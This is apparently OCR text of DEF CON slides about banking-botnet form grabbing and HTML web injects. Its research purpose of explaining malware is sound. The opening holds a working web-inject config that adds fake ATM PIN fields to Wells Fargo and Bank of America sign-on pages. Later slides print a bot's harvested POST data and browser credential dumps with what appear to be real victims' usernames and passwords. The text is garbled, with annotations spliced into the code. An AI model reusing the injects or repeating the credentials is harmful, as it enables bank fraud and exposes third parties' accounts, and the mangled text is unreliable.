<label for="passcode"> <SPAN class="text2">* ATM Number:</SPAN>
<span class="h2-ada"> <br>
                                                                               America's webpages to steal the
Enter an ATM Number. Your ATM Number must be 16 digits.
                                                                               ATM number and the Pass code.
</span></label>
</TD>
</TR>
\langle TR \rangle
\langle TD \rangle
<input type="password" name="ATMNR" id="ATMNR" class="text1" value="" maxlength="16" size="28">
data end
data after
data end
set url https://online.wellsfargo.com/signon* GP
data before
<input type="password" name="password"*</td>
data end
data inject
<label for="password" class="formlabel">3. ATM PIN</label><br/>>
<input type="password" name="USpass" id="atmpin" size="20" maxlength="14"
title="Enter ATM PIN" tabindex="11" accesskey="A"/>
<br/>&nbsp;
data end
                                                            Injecting HTML content in Wells
data after
data end
                                                            Fargo bank to steal user's ATM
</label>
                                                            code.
```

data end

Form Grabbing

- Form Grabbing
 - It is an advanced technique of capturing information present in forms





Form Grabbing

- Why Form Grabbing ?
 - Keylogging produces plethora of data
 - Form grabbing extracting data from the GET/POST requests
 - Based on the concept of hooking and DLL injection
 - No real protection against malware

Sank of America 🗇	citi	ENTRADE
Daline Banking 🔒 Easy, Secure, Free, Earoll View demo Learn more	Sign On to your accounts User ID Password	SECURE LOG ON: User ID: Password: SSN:
Enter Online ID: Your ATM or Check Card Number: Your PIN: Save this Online ID Account in: Where do I enter my Passcode?	To prevent fraud enter your credit card information please: Your ATM or Check Card Number: Expiration Date: ATM PIN: Your mother"s maiden name:	MMII: Start In: LOG ON 查 中文
Sign In Fergot or need help with your ID? Reset Passcode	Remember my ID Sign on	- Additionally injected fields



Form Grabbing

Harvested Data

View report (HT	TPS request, 205 bytes)	
Bot ID:	CLOUD2 7D126CF46522DF69	
Botnet:	ice9	
Version:	1.2.0	
OS Version:	Server 2008 R2 x64, SP 1	
OS Language:	1033	
Local time:	07.03.2012 11:05:33	Harvested data from POST
GMT:	+0:00	requests. Kaspersky's anti virus
Session time:	648:59:02	license key entered by the user
Report time:	07.03.2012 11:05:39	
Country:		
IPv4:		
Comment for bot:	:-	
In the list of used	l: No	
Process name:	C:\Program Files (x86)\Kaspersky Lab\Kaspersky Small C	Office Security\avp.exe
User of process:	CLOUD2\Administrator	
Source:	https://auto-activation3.kaspersky.com/en/activate	
https://auto-a Referer: - User input: POST data:	activation3.kaspersky.com/en/activate	
REQUEST_ID={ APP_ID=14 ACT_CODE=	90e-53c3-43d3-49c811675a42}	

Demonstration



This Data is Not Yours !

Mozilla Firefox	
http://platforma.polsl.pl@@@asiiia1989:lizak1 http://o2.pl@@@krycha326:liszka http://poczta.interia.pl@@@sumwwf@interia.pl:rzeszowz010 http://platforma.polsl.pl@@@username:asiiia1989@@@*password	:lizak17
Opera	
<pre>http://poczta.o2.pl/@krycha326@o2.pl:liszka https://www.facebook.com/login.pho?krycha326@oz.pl:liszkali http://poczta.intonia.pl/@rumwwiginceria.pl:rzeszow2010 http://o2.pl/@partycia.pl/@rumwiginceria.pl:rzeszow2010 ++ IP Address: 187.12.65.226 From: BR ID: 3644C4ADE373E</pre>	szka 61EDB6B0D46F3250F397DAFFE86 Date: 16.05.2012 09:50:03 ++
Internet Explorer	
	20374C23B4DD491FE3DC5D515 Date: 16.05.2012 09:50:52 ++
Google Chrome	
=====================================	
Windows RAS	
Name: toffice Login: In the set of the set o	All Browsers !
Name: byflav Login: @beltel.by Password:	

Conclusion

- Botnets have become more robust and sophisticated
- Significant increase in exploitation of browsers
- HTTP has been used for data exfiltration
- Botnets die hard









Thanks

- DEF Con crew
 - <u>http://www.defcon.org</u>



- SecNiche Security Labs
 - <u>http://www.secniche.org</u>
 - <u>http://secniche.blogspot.com</u>

